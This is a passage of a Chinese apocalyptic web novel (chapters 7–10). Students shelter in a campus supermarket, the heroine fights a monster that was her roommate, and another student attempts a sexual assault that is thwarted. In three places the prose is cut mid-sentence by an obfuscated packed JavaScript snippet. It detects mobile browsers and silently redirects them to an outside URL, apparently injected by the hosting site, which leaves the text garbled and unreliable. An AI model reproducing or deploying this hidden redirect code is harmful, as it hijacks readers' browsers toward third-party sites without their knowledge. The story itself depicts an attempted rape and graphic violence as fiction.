《大妄想家[末世无限]》 7.Storm Racers 007 T大教育超市共有三层,一楼卖吃的,二楼卖用的,三楼有个食堂和打印店。 秦赤年愧为T大大四老学姐,忘记了二楼西侧还有一个入口,直通食堂。 脚步声还在,越来越近。 人?还是怪? 季蕾蕾拿起洋伞,方守揣上小电锅,秦赤年没有武器,只好带上了气势,三人藏于楼梯口两侧,屏息无声。 脚步声越来越近。 就在那声音几乎响到耳朵边时,咔嗒,停了。 三人面面相觑。 秦赤年意识到什么,对视间,方守和季蕾蕾也明了。 怪物可不会这么聪明地停下来。 方守清清嗓子,主动出击:“楼上的兄弟,我们是人!你呢?” 没有回答。 季蕾蕾握紧了伞柄。 嗒嗒嗒一串脚步响起,还伴随着几声干笑: “哥们,你这说啥呢,我要是红人的话,还会回你吗?” 一个男生从楼梯上走了下来。 这哥们留着个挺潮的发型,穿着个挺潮的白T,体型微胖,细眉窄眼,身高和方守差不多,手里还拿着一把半人高的丁字尺。 “嗨。”他挥了挥尺子。 * “刘泽凯,机械学院大四,你们呢?” “秦赤年,计算机学院的,也是大四。” “呦呵,你这什么名字?可够怪的。计算机的?计算机居然有女生。” 秦赤年“哈哈”干笑两声。 这名字是她老妈起的,本来打算叫‘红年’,就因着老妈怀她时爱吃红糖年糕,加上觉得“红年”“红年”的很有革命气息,对味。报户口时又冷静了下来,一寻思,得,“红”改成了“赤”——有什么区别吗!她这从小学到大学,没少被嘲笑。 “我是方守,守卫的守。我年长你们几岁,叫我方大哥就行。” “你们几个是从学校外面进来的吧?嚯,外面可炸翻天咯,这一趟过来不容易吧?对了,那边那个妹子呢,怎么都不说话?" 说的是季蕾蕾,季蕾蕾站在一侧,手里拿着小洋伞,别提说话了,瞅都不瞅过来一眼。 “是咱们学校的吗?哪个学院的啊?什么专业?” 见自家表妹不吱声,方守礼貌性地代替回答:“她是季蕾蕾,不是这个学校的,也不是本地人,X大的,专业……应该是工商管理吧。” 季蕾蕾看了眼方守,那眼神在说:就你长嘴了? “X大!我操!”刘泽凯上上下下打量季蕾蕾,“那可和咱们这个破学校没法比。” 顿了顿,又道:“哈,不过……现在甭管哪个学校,情况可都不太好。” 刘泽凯和秦赤年一样,今年大四了,不一样在于他论文和工作都有了着落,剩下个把月时间自然拿来吃喝玩乐,享受最后的大学时光。今早他睡到中午才起床,梦里听到一首怪曲子在脑袋里单曲循环。睁开眼,下了床,外头早已变了天地。 他拿出手机,上面写的内容和季蕾蕾方守的差不多,他的光环也是秩序态的,蓝色粒子漂浮颈间。 “哟,你这脖子上的玩意咋和我们几个的都不一样呢?” 秦赤年觉得这个问题和她的怪名字一样难以回答。 刘泽凯的“当前存活条件”那栏,显示着“击杀红人(8/20)”。 “你都杀了八个红人了?” “别提了,真有够受的。”他举了举手里的东西,“我是没想到有一天可以拿工程制图课上的玩意来打怪。” 那是一把丁字尺,尺如其名,就一个“丁”字的形状,机械学院高级对图宝具。秦赤年见过乌泱泱一群人拿这玩意去上课,很拉风。 他也是够警觉,抄上宿舍里的丁字尺才出了门,本来是打算去保卫处和学院办公室看看,结果也不用看,学校里的人要么人间蒸发,要么都变成怪物。他一路逃着,来到教育超市,一直在二楼待着,听见秦赤年等人的声响,这才下了楼。 不过,居然用这玩意打败了八个红人?? 她顿觉得有一把好武器很重要。 “你们觉得这一切都怎么回事啊?那群红圈怪物都是啥玩意?还有这光环,碰也碰不着,摘也摘不下,我真是服了!” 方守:“冷静,兄弟,我们也一头雾水。” “这换谁能冷静下来,好端端的,外面变得世界末日一样,操,本来还有一个月就可以毕业了,这下好了……” 刘泽凯絮絮叨叨,一旁的季蕾蕾显然听烦了,出声道:“喂,秦赤年,你刚刚不是说知道了提示的意思吗?” 对头,差点忘了这茬。 “这段提示的意思,是要我们去''乌口道''地铁站。” “啊?” 季蕾蕾不是本地人,自然不懂,方守、刘泽凯则一脸困惑:“乌口道?地铁站?为什么要去那?” “园横酒溪里,鸿洲北南纬,光山灰瓦楼,城塘兴山路……把每个字拎出来看,云园、东横堤、果酒厂、秋溪路、勤里道、湖鸿里……这不就是把1号线所有站点的第二个字组合在一起吗!!” 方守望着手机屏幕,嘴巴渐渐张成O型:“还真是这样……” “但你们瞧,这诗里1号线哪个站点都有,独独没有人挤人挤死人的换乘站——乌口道站!” 方守很赞同:“乌口道人是真的多,我上次上班下车门时,公文包给挤在车上了,追了一路车都没追回来,好在站务人员给我拿回来,不过也因为这样那天上班迟到了,绩效奖金又没了,唉……” 季蕾蕾用看白痴的眼神看他。 “所以,接下来得去这个地铁站?去那之后要干嘛?” “要干嘛……我是不知道,但既然提示这样暗示咱们,就证明去那肯定能发现些啥。” “真的假的……”刘泽凯看了眼她,“看你分析得头头是道,有什么依据吗?” “依据嘛……” “看吧,你这不也是在瞎蒙吗,谁知道去了那地铁站会发生啥事。” “但……” “要我说,还是老老实实呆在学校里好,至少有吃有喝,外面的怪物肯定比学校里多得多,想不开呢,去什么地铁站!” 这话也不无道理。 秦赤年沉吟几秒,尚未作回答,倒是季蕾蕾冷冷开口:“又没叫你一块去。” “不管怎么说,都这个点了……”方守望着手机上显示的时间,20:00点整,“要去地铁站的话,最好也得等明天天亮。” “今晚……就只能在这间超市待一晚了。” 超市内灯火通明,安全感十足,刘泽凯拿了一堆吃的,又寻了些看似能防身的武器,其上全都附着光环,秦赤年便知道他也明了了“光环法则”。 她拆了一袋没有光环的奥利奥,咬了一口,没任何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127914|138138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味道,一袋下肚,也毫无饱腹感。 光环法则对食物也生效吗?那看来,超市里的物资也未必能撑那么久。 “对了,你从宿舍一路过来,有见到过……正常人吗?你舍友们呢?” 刘泽凯鼓捣武器的手停住:“……没。” “一个都没有?” “……哪儿有啊!都是怪物。” 秦赤年内心不由得攀升起不安感。 刘泽凯想到啥似的,又说:“不过,说到我舍友……操,有一件怪事,不知道和今天这一切有没有关系。” “说来听听。” 刘泽凯这人记忆力不错,回忆起十几小时前发生的事,细节也面面俱到,秦赤年等人听完,却越发迷惘。 事情发生在昨天夜里凌晨,那会儿下了一场大暴雨,雨大到离谱,且先前没任何天气提醒。暴雨打得宿舍窗子哐哐作响,天亮一阵暗一阵,雷电交加的,刘泽凯给吵醒了。 醒来便想去个厕所,刘泽凯下床,发现宿舍里不太对劲。 舍友郭宇坐在书桌前,一动不动。 这个点居然还在学习?刘泽凯知道舍友一战考研没考上,又不愿调剂,打算今年再二战,可也不用学到这个点吧? 他走上前,拍了拍郭宇的肩膀:“郭宇?” 郭宇一动不动。 是真的一动都没带动的,人直挺挺坐在椅子上,穿堂风将他摆桌上的书页吹得哗哗作响,大到鼻子眼睛,小到毛孔头发丝儿,就跟定在那里似的。 “喂,郭宇!” 没反应。 真是奇了怪了,刘泽凯转身,厕所也不想去了。 不转身还好,这一个转身后看到的景象,才真叫他吓得尿意全无—— 另一个舍友李浩也坐在书桌前。 灯都没开,乌漆嘛黑里人直挺挺坐着,纹丝不动。 这时候,恰巧外头来了道闪电,轰地一声,白光照亮舍友的脸。 面无表情。 “我操!王俊!你快醒醒!醒醒!” “……大半夜的,刘泽凯你号丧呢,别烦……” 刘泽凯直直吐出一口气,还好还好,剩下最后这个室友王俊还躺在床上,正好梦呢,一点不想搭理他的话,骂完街就继续睡了。 “然后呢?” “然后我就上床睡觉了。” “啊?这你还睡得着!” 刘泽凯当然睡不着了,他躺在床上,满脑子都是郭宇和李浩那一动不动的怪模样,这俩人怎么了?难道死了不成?妈的,肯定是晚上闲着没事搞鬼吓人。 他看了眼手机,04:44。 2022年4月5日,凌晨4点44分。 “你咋把时间记得这么牢的?”方守出声询问。 “妈的,换你看到这种鬼时间,谁记不住?” “后来呢?” “后来我大半夜都没怎么睡,有一点动静就能醒来,王俊和个没事人一样,他一翻身我都惊得睁眼。结果……你们猜怎么着?” 三人盯着刘泽凯。 “中午十二点半,我醒来了。下床一看,郭宇和李浩都不见了。” 2022年4月5日,正午12点30分。 “不见了?” “我敢发誓,那一整个晚上我没听到任何开门的声音,别说开门,开窗也没有。他们两个大活人,就这样不见了!” 8.Storm Racers 008 刘泽凯的讲述没让人琢磨出什么东西,倒给整间超市笼了一层阴森色彩。 活人……消失。 这不是和今天秦赤年在商场遇到的情况一样吗? 她和林深琼在商场里逛着,上一秒周围还人山人海,下一秒怪乐在脑内响起,睁开眼……行人都不见了。 去哪了? 这青天白日的,活生生的人,能去哪里?? 好,再来假设一下,如果真的有某种超自然力量把那么多的人都给变没了的—— 为什么他们还好端端的? 为什么有的人变成了红人? ……不知道。 手头仅有的少得可怜的情报,就是一台手机,还因为她是“混沌态”光环,连给提示都吝啬三分。 秦赤年不由得担心起远在柰州市的老妈——她现在怎么样了?是也和其他人一样消失不见了,还是在想方设法联系上她? 方守等人显然也想到各自的家人,脸上愁云惨淡的。他出声安慰:“明天去你说的乌口道地铁站看看,说不定真能发现些线索,放宽心。” 秦赤年点点头,忽然脑袋一激灵:“啊!不行!我得先回趟宿舍看看!” “这么晚了,外面很危险的。” 秦赤年拿起靠在墙边的一根拖把杆,有光环,掰了掰,还够结实。 “我得回去,或许……我的室友们就在那等我。” * 在方守的劝阻之下,秦赤年还是坚持要回一趟。 “放心,这地方我呆了四年了,比自己家都熟,这儿离我宿舍楼不远,我知道怎么避开那群怪物。” 方守无奈,只提醒她一切小心。 秦赤年走出超市,抄了条近路,飞奔向宿舍楼。 深夜的校园一片幽黑,零零星星的路灯发着惨淡的光,黑雾缭绕夜空,秦赤年来到宿舍楼底下时,天幕孤悬的月亮已被雾色完全遮住。 宿舍门口,宿管大妈的位置空着,没有人。 秦赤年爬上三楼,找到包里的宿舍钥匙,打开303的门。 吱呀—— “深琼!文倩!老白!” 没有回应。 秦赤年打开灯。 宿舍保持今早几人出门前的样子。 最干净整洁的桌子是老白的,一摞摞考研书都卖了出去,她在墙上贴着“B大,等我!”的标签纸,而她也真的做到了。成绩出的那天请全宿舍吃饭,眉飞色舞地畅想研究生的生活。 “老白,小心头发。” “那是身外之物啦,搞算法的人不需要发量。” 第二整洁的是文倩的桌子,入目就是她最喜欢的明星的超大海报,她自称“低调克制的追星族”,除了宿舍四人谁也不知道,有些人平日里高冷御姐范的,一谈到偶像却能唠上两小时的话。她正在心仪的大厂实习,毕业就转正,说等以后攒够了钱,一定要去一次偶像的见面会。 “这是咱们大学聚在一块的最后一餐了吧……姐妹们!干了这杯22年的可乐!来生再当舍友!” 最乱的反而是林深琼。系花小美女不为人知的一面只在舍友们面前展现,冒失、优柔、没看男人的眼光。几人为此曾很是担忧:“深琼,你这要是进了社会该怎么办啊,答应你文倩姐,别再当渣男回收站了……” 林深琼点点头:“我已经决定这辈子都不谈恋爱了,要当一个不婚主义者。” “草!真的吗!” “我附议!我也不想结婚!” 秦赤年不自禁笑笑,拉出桌下的椅子。 环望这间小小的宿舍,真是小得不能再小啊,这样的地方能挤得下四个来自天南地北、性格爱好各不相同的女孩子们么? 当然挤不下,所以矛盾、争吵、意见不合……多得去了。 可还是挤下来了,一待就是四年。 真不可思议。 她拉开抽屉柜,摸出一台Walkman,粉色外壳早都磨损得掉漆,凑近一看,居然有一个小到不能再小的光环,不抱期待地按下播放键,几秒后,红辣椒乐队的歌响在宿舍内。 她躺倒在椅子上,疲惫感倾袭四肢。 闭上了眼。 放克风格的鼓点仿佛敲在脑子里,这鼓真叫人安心。 大家都考虑好了各自的未来,无论是工作还是考研,一张纸折两折,摊平后方方正正四个角,写满了人生进程,独她那块,是一片空白。 好像什么都没弄明白、什么都没计划好,时光锤子梆地一敲,她就要毕业了。 这四年过得不好吗?倒也不是。 很快乐么?得偿所愿么?充实有意义么? 她并不想自欺欺人。 既没学好专业课,也没做成任何有用之事,浑浑噩噩间,临至人生岔路口。 什么答卷都交不出。 究竟从哪一步开始起,她的人生变成这样无聊的东西啊…… 歌停了。 秦赤年睁开眼,下一秒却“我靠”了一大声。 她的床头架子没有光环附着,可上面放了个大收纳箱,附着红色光环粒子,此刻再无法承重,箱子摇摇欲坠,眼见就要砸下! 秦赤年赶忙挪开脸,双手接下收纳箱。 “这都是什么玩意……” 尘埃气息扑面,这堆东西本是她想毕业前扔掉的,却拖了一天又一天,里头乱糟糟啥都有,光娃娃机抓到的玩偶就有几十只,秦赤年随手翻了翻,便整个扔到桌子上。 等一下。 她又拿起箱子。 翻到箱子最里,有一件东西。 她取出那件物什,积的灰快把她呛死,拍干净之后,她盯着那玩意,不自禁道: “卧槽……” 那是两根黑色的胡桃木鼓棒。 鼓棒之上,印着两只哭泣的粉色骷髅头。 * “唉,我刚刚就该跟她一块去的,都这个点了,怎么人还没回来?” 季蕾蕾瞧不得方守唉声叹气的模样:“那你怎么不去?” “唉,你不懂,她们年轻小姑娘见面,关我什么事啊,要是在场,得多尴尬……” “哼哼。” 方守给季蕾蕾铺好了地铺,抱来棉被,一切打点好之后,突然捂着肚子,面露痛苦。 “你干嘛了?” “我……呜……一定是……香菇炖鸡面……” “吃坏肚子了?” 方守惨然地点点头,一滴汗从额前掉下。 季蕾蕾嫌弃地挥挥手:“楼上不是有卫生间吗,快去。” 方守弓着身子上楼。 季蕾蕾在简易地铺上坐下,方守也给秦赤年留了个位置,两个女孩子睡在超市的里侧区。 她看了眼手机,21时07分。 又望向大门口,没动静。 ……确实挺晚了。 “我说,你们明天真的要去地铁站吗?” 刘泽凯的声音响起,不知道什么时候来到了旁边。 “犯不着看一个破提示就打算过去,待在学校里头不好吗?” 季蕾蕾没理他。 “这手机上写的存活条件只要杀死二十个红人就好,你看看,愿不愿意和我组个队?” 刘泽凯在她身旁坐了下来。 此举显而易见地激到了季蕾蕾。 季蕾蕾什么人啊,她对谁有好感,不会展现出来,但要是讨厌谁,那从头发丝到脚指甲盖都恨不得表现得清清楚楚,她朝旁边挪了快有两大步,出声道:“不愿意。” “好好考虑下啊,你看你现在才杀了一个红人,这样下去要啥时才能完成?跟我一块,我可以保护你。” “你不是天州本地人,人生地不熟的,和我一块,多少有个照应呗。怎么,难道是因为那个西装男?” “那西装男是你男朋友吗?我去,你一个在校大学生,怎么找到那种社会上的人?他比你大了七八岁吧,X大的女生都这么会玩的吗?” 季蕾蕾站起身。 刘泽凯笑了:“怎么了?” “他是我表哥;X大的女生全加起来都没有你这么会玩:你从见面起到刚刚一直盯着我的裙子看,怎么,这么想穿?自己去买一条。” 刘泽凯的笑容终于僵住了。 季蕾蕾见他还是没有离去的意思,索性自己转了身,在这处地方多呆一秒都嫌烦。 不曾想,下一秒手腕被人拽住,力量倾袭而来,她整个人被拽倒在地。 后背撞到瓷砖地面,痛得她蹙眉,肩膀被两手大手压得动弹不得。 刘泽凯朝地上啐了一口。 “你这女人——别他妈和老子这样说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13139177|138138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” * “卧槽……” 秦赤年盯着鼓棒,嘴里除了卧槽还是卧槽。 好家伙,这是什么时代的玩意了。 回忆骤然如烟花爆炸,在她脑袋里四散起星火。 黑色5A胡桃木,亲手刻下的粉红骷髅头。 换了很多副鼓棒,也只有这副用起来最顺手。 秦赤年高中的时候,组过一个乐队。 她是鼓手,韩炽负责贝斯,楚炎洲则是乐队主唱兼吉他手。 那简直是不应该出现在她这平庸人生里最不平庸的一段时光——她和从初中认识到高中的青梅竹马,在高一那年,组了个三人乐队。 周一到周五得上课,周六日才有时间疯狂练习,练习室是楚炎洲舅舅家的地下室。 她以帮老妈刷六个月的碗为条件,央求来了人生第一台架子鼓,后来刷着碗才知道,那是小姨弄来的二手货。 二手货也够知足了,那段时间她做梦都是鼓谱,老妈嘲笑她,咱们秦家两百年不出一个音乐天才,你在想桃子吃。 秦赤年大惊:两百年都没出过,不就是在等她吗? 没日没夜的练习,终于在学校的文艺节上露了一手;给小姨捏肩捶腿,最终答应帮他们制作专辑;打了一暑假的工,终于在练习室按上了空调…… 后来呢? 后来,一年半后,乐队解散了。 秦赤年将鼓棒夹在指尖,转了一下,不行,没手感了,又转了一下,差点甩到地上。 轰—— 一声闷雷忽至,落在耳侧。 “啊,都这个点了!”自顾自悲春伤秋回忆往事,没想着时间过了这么久,舍友们也没在宿舍,到底都去了哪里? 她将鼓棒和Walkman塞进书包,想了想,又放了一双干净的运动鞋进去。 暴雨骤至,雷声滚滚,她背着包走到三楼楼梯口,停住了。 二楼的灯灭了。 就在她来时还亮着的灯,此刻全灭了——只剩下消防通道的绿色提示灯。 她走下楼,幽洞洞的长廊尽头,有道人影。 是红人。 秦赤年屏住呼吸,踮起脚尖,尽量不发出任何声响地下楼——“存活条件”说要打败红人,可她打倒了两只,这破手机却又说无效,不知道到底是想怎样。此时此地,还是走为上策。 轰—— 又一记雷声。 闪过窗口的电光照亮她的位置,红人的视线如车头调转,直直冲向了她。 秦赤年暗道不妙,伸手去抓拖把杆—— 咦,我杆呢? “嗬嘶”响音骤临,红圈怪物已扑至眼前,秦赤年闪身躲避,高中练的架子鼓带给她一身远胜常人的手脚协调力,虽然早已荒废,但肌肉记忆仍在,一面退一面四处寻着武器——光环粒子、光环粒子…… 红人抓住她的手腕,利爪划下,血珠四溅。 “好痛!” 秦赤年踢起地上的水桶,用手接住,哐地一声,罩住眼前红人的头。 血流了一手,疼得她龇牙咧嘴。 背包在刚刚的冲撞下滚落到一旁,鼓棒和随身听也掉了出来。 她走上前,欲拾起东西,迅速逃离这里。 ——“确认选择【骷髅鼓棒】成为你的光环寄存体吗?” “啊?” ——“光环寄存体必须是附着着光环、对试炼者而言具有特殊意义的事物,且,仅能选择一次。” ——“一旦选择成功,你身上的光环会分散一部分进入寄存体之上,寄存体遭遇任何损坏,其所有者亦会受到相应的创伤。” 秦赤年呆呆地望着手里的黑色鼓棒,尚未作答,身后啷当一阵响,红人甩开了水桶,直扑向她! “确认!我确认!!” “选择成功。” 唰。 暗色长廊里一阵流光。 色彩混沌至极的光圈包围住两根纤细鼓棒,亮起星星粒粒的光芒。 秦赤年抬手,一甩骷髅鼓棒,狠狠抵住红人扑来的巨口! 刹那间,她感受到一股力量汇聚鼓棒之上,千颜万色的光环粒子席卷怪物的红圈,简直要将其从头到脚吞没一般。 可就在下一秒,她却怔住了神。 “文……文倩?” 9.Storm Racers 009 季蕾蕾伸手就去拿洋伞。 哗啦,伞面撑开,罩住她和刘泽凯。 刘泽凯嗤笑一声,一巴掌甩开她的伞:“你搞毛?” 完了,这洋伞只对红人才有用。 季蕾蕾当机立断:“方守救——” 大掌压向她的嘴,力度之大,几乎叫人断绝呼吸,季蕾蕾所有的求救声都被堵至嗓子眼,刘泽凯的声音阴沉得可以滴水:“你喊什么?你想喊什么?” “唔、唔唔……” “老子不想对你做什么,但你最好不要惹我!”他目光如针,上上下下扎过她的脸、脖子、蓝色蛋糕般的洋裙、裸露在外的纤细小腿,“我看你?我盯着你看怎么了?你他妈穿成这样,不就是想被人看的吗!” “你最好别惹我,你喊人,你把那西装男喊来又怎样?老子都杀了八个红人了,还怕他不成!” 她欲扯开刘泽凯的手,大掌之下,悬殊力量宛如天堑,分毫不能撼动,眼前男人贴向她脸侧,她顿起一身鸡皮疙瘩,简直要把刚刚的香菇炖鸡面都吐出来。 刘泽凯是杀了八个红人。 但只有他自己知道,不止八个。 * 宿舍楼长廊,一阵阵雷声落在窗边。 “文……文倩?” 是文倩,亦不是文倩。 幽白色面中,笼罩着猩红色粒子汇聚的光环,无论眉、眼、鼻、唇都早已扭曲,可还是能辨出些许本来面目。她穿的衣服,也是文倩今天穿的。 鼓棒一松。 眼前人伸出长舌,将她脖颈一扯,整个人大力卷向身侧,混沌光环激荡,那沾着血的獠牙一口咬下! 痛! 光环阻挡了部分攻击,可也正因如此,粒子开始混乱地冲撞起来,濒临消散。 该怎么做? 要在这里结束吗。 这庸庸碌碌、一事无成的一生,在这间宿舍楼的长廊里,画上句号。 秦赤年咬住下牙,双手持握鼓棒,十字交叉,死命抵住——她不想那样! ——“【骷髅鼓棒】已变幻为【可以当成剪刀的骷髅鼓棒】。” 咔。 十字交叉的鼓棒上端,突然出现成排的锯齿,颗颗锋利至极,在幽暗空间内反射出锐亮的光,映照着秦赤年不可思议的表情。 居然变成……剪刀了。 唰—— 她朝红人击去。 睁开双眼,眼前的红色粒子已全数消散。 手机传来振动。 秦赤年抹着脸上的血,眯眼望去。 姓名:秦赤年 年龄:大概22岁 物种:女性智人 光环:!居然是混沌态 排名:菜鸟中的菜鸟,有个锤子排名 所在试炼场:不是很想告诉你 持有光环数:真的菜,就1个 当前存活条件:击杀红人(*1/3) 当前光环任务:【提示】 提示已经被吃了 友情提醒:混沌态的存活条件已成功触发!本场试炼场中击杀的目标,得是关系亲近的人才算~ 她走了上前。 长廊尽头还有一个人。 不是红人,是正常人类的……尸体。尸身早已冰凉,脖子上的光环消失殆尽。 是老白。 若去猜想的话,大抵是变作红人的文倩吞噬了她的光环。 秦赤年弯下身,替尸体轻轻合上双眼。 * “他妈的,这一切都毁了,什么狗屁似的世界末日,他妈的……” 刘泽凯低声喃喃。 他和唯一在的室友王俊自寝室内逃命而出,一起打败了几头红人,那怪物早就不是人类了,他们打死它又如何?反正是为了存活条件!不这样就得死! 真是如此吗? 那你为什么要把王俊推向怪物,只为了自己活命? “你他妈闭嘴!” 他可是在最开始怪物出现时就救下你一命,四年同窗同寝,你就这样对自己的舍友? “闭嘴!” 那个怪物咬碎他的脖子,吃下他的光环,你看到这幕景象,心中只觉得庆幸,庆幸被吃的人不是自己,对不对? “给我——” 而现在,你内心唯一一丝和愧疚沾边的心情,恐怕就是:你后悔了,因为害怕这事被人发现。 “给我都闭嘴!” 这个人疯了! 季蕾蕾不知道自己什么霉运能遇到这样的疯子,方守是掉进坑里了吗,为什么上一个厕所能上那么久! 该怎么办、该怎么办—— “给我听着,我不想对你做什么,只要你,别惹我……” 刘泽凯这样说着,空出来的另一只手,却直直伸向季蕾蕾的裙子。 凭什么啊? 王俊是死了,被他害死的,又怎样? 他这大学四年风生水起的,谈了五六个女朋友,还成功保研本校,而他呢?他的保研名额被他抢了,最后落的去个普通制造厂,整整四年没有过女朋友,之后进了厂,还得在那样无聊的地方工作一辈子? 真是想想都会吐的人生。 不过没关系…… 老天有眼,世道变了。 死的是王俊,活的是他。 而眼前的女人…… 呵,这种时候还穿成这副花枝招展的模样,能是什么好东西。 他扯起她的裙子,季蕾蕾简直忍不了了,一口在他掌心咬下,刘泽凯却只是哼了声,换了条毛巾堵在她嘴间。 “你别他妈乱动,要是叫来你表哥,我连他一起收拾。” “唔、死——死变态——” “别怪我,要怪就怪这该死的世道,老子可不想哪天被红人咬死前,还没尝过女人的滋味……”刘泽凯阴恻恻地笑了笑,“放心,我会让你舒服的。” 脖子一凉。 “别呀。” 一道清亮的女声响在他身后。 刘泽凯僵硬着脸,低头望去。 两根长着锋利锯齿的鼓棒,交叉架在他脖子之上。 一动,怕就是鲜血淋漓。 头顶的女声还在说话,一字一句,念得慢慢悠悠: “别光让她舒服,我也让你舒服舒服呗?” * “你们知道我在三楼卫生间发现了啥吗,一个只剩半截身子的红人!吓死我了!还好、还好,我用小电锅收拾掉它了……” 方守从楼梯间下来,望着一楼的景象,傻了。 刘泽凯被五花大绑,扔在角落,左右分别站着秦赤年和季蕾蕾,秦赤年脸上布满血痕,一笑,面若修罗。 “哟,方大哥终于下来了。” “这、这是在干嘛?” “让刘同学舒服呢。” 秦赤年把事情一五一十告诉了方守,后者还没听到最后呢,已经抄着小铁锅要往刘泽凯脸上挥。 “你这畜生!!” “季蕾蕾,没受什么伤吧?” 季蕾蕾自知自己此刻狼狈,那点比天还高的自尊心叫她不知道该说什么,只硬了声线,道:“那你呢,你脸上怎么都是血?” 秦赤年抹了把脸:“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150161|138138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是我的血啦。” “发生了什么吗?” 她笑笑:“没什么啦。” 季蕾蕾将信将疑,秦赤年却从包里取出了一双运动鞋,白色的,串着蓝色鞋带:“裙子不想换下来可以不换,鞋子的话,好歹还是换双好走路的吧?” 蓝白配色,和她的裙子有点像。 季蕾蕾沉默了快有一个世纪那么久,忽地,伸手,抢过秦赤年的鞋。 “……谢谢。” 她干巴巴道。 * 翌日早晨。 刘泽凯呼噜震天响,半梦半醒间,忽地一激灵。 一桶冷水,自他头顶浇下。 秦赤年蹲在他眼前,晃了晃空水桶:“早上好。” 身后则是整装待发的季蕾蕾和方守。 “我们现在要出发去地铁站了,你什么个想法啊?” 刘泽凯呆愣半晌,立马领悟了她的意思,点头如捣蒜:“我也去!我也和你们一起去!” “嗯?” “我不会再做昨天那种事了!真的!真的!我那是鬼迷心窍!我傻逼!我绝对不会再犯了!秦同学、秦姐姐,你给我解开这玩意,我和你们一块去地铁站!” 秦赤年嘿嘿一笑。 “别呀,你不是想待在超市里头吗。” 她站直起身,大咧咧伸了个懒腰,背着的背包上的骷髅挂件也随之晃了晃。 “听着,哥们,同校一场,我把一楼大门给你锁了。” 刘泽凯呆呆望着眼前的人。 “但是二楼嘛……路过红人要是想进,大概转个门把就能进吧。” “那、那你倒是他妈把我解开啊!” 秦赤年奇怪地瞅了眼他:“解开?为什么要解开?” 她上上下下打量他:“你穿成这副模样,白T恤大裤衩的,不就是为了勾引红人的吗?” 刘泽凯:“……” 三人收拾妥当,便欲离去,刘泽凯捆成大粽子,动不可动,当然,如果他身手好点,蹦跳着上楼,也许能在怪物来袭前找到工具解开身上的玩意,秦赤年可是大发善心,没给他捆死。 不过,到底来不来得及,可就不关三人的事了。 方守走在三人最末,临出门前,还是没忍住,折返了回去。 “干、干嘛!” 刘泽凯被他盯得冷汗直冒。 方守朝他呵呵一笑。 活了三十年,那叫一个遵纪守法、兢兢业业的好公民方守,抬起脚,皮鞋锃亮。 朝刘泽凯脸上狠狠踹了一脚。 而后,在后者震撼的目光中,洒洒然离去。 * 望着眼前的T大校门,不知怎的,平白生出一股不舍之感。 理性告诉秦赤年,去地铁站只是为了调查些线索。 直觉却点明了,接下来发生的事,只会一件比一件更超出常理。 或许她……再也不会回到这里。 她轻轻叹口气,拽紧了背包带。 季蕾蕾盯着秦赤年,从昨晚起这个家伙的表情就不大对劲,问怎么回事,什么都不肯说。季蕾蕾问一遍已落了没趣,自然决计不会再追问。 反正她们只是……萍水相逢,不关她的事。 T大在视野里远去。 一路上遇到了不少红人,三人协力打败了几个,实在打不过的,想方法利用地形饶了开去。 在前方,夹掩于林立的摩天大楼之间的小簇口道,四四方方,像一枚被上帝甩落于地的马口铁盒子,其上漂浮着众多汇聚成环的红色粒子。 地铁站到了。 10.Cant Stop 010 乌口道站,天州市人流量最大的换乘地铁站之一。 作为一号线与三号线的换乘车站,且又位于市中心繁华程度首屈一指的地段,该站点平日里的客流量大到惊人,高峰时段乘车率高达300%,八方往来在此流聚,贯连着城市的地下脉络。 三人踏上没有光环的自动扶梯,步行下楼,女声响在耳际: “为了您的安全,乘坐自动扶梯时,请您站稳扶好。” 举目望去,地铁站内空无一人。 播报中的女声使这片空旷的地下场所泛起丝丝回音,昏绿的灯光笼罩四周,前方是安检口,指示灯在闪烁,秦赤年低下头,地面映着三行字: 欢迎! 欢迎! 欢迎参与光环任务! 血红毛笔字,硕大无朋,“欢迎”之感满溢而出。 “为了您的安全,乘坐自动扶梯时,请您站稳稳稳稳稳稳——” 女声像被卡住般戛然而止。 下一秒,扭曲的电子音取而代之:“为了您的安全,请通过安检!请通过安检!” 这音量震得人耳膜生疼,秦赤年等人无可奈何,将身上的背包放到安检传送带上。 几人从超市里带了点吃的和一些用具,除此之外就没什么了。 “不是这个!” “啊?” “不是这个!!” 三人面面相觑。 秦赤年不知道声音是从哪里发出的,四顾望去,空无一人的地铁口哪儿都透露着诡异,声音还在一个劲地重复“不是这个”,那是听不出男声、抑或女声的声音,电子化的语调十分僵硬,可在不断重复下,居然生出点冰冷的愤怒感。 “不是这个!把它们拿开!拿开!” “那得是哪个?”秦赤年嘟囔了一句,将背包取下安检台。 “这儿好诡异,咱们是不是来错地方了,咋一个人都没有……” 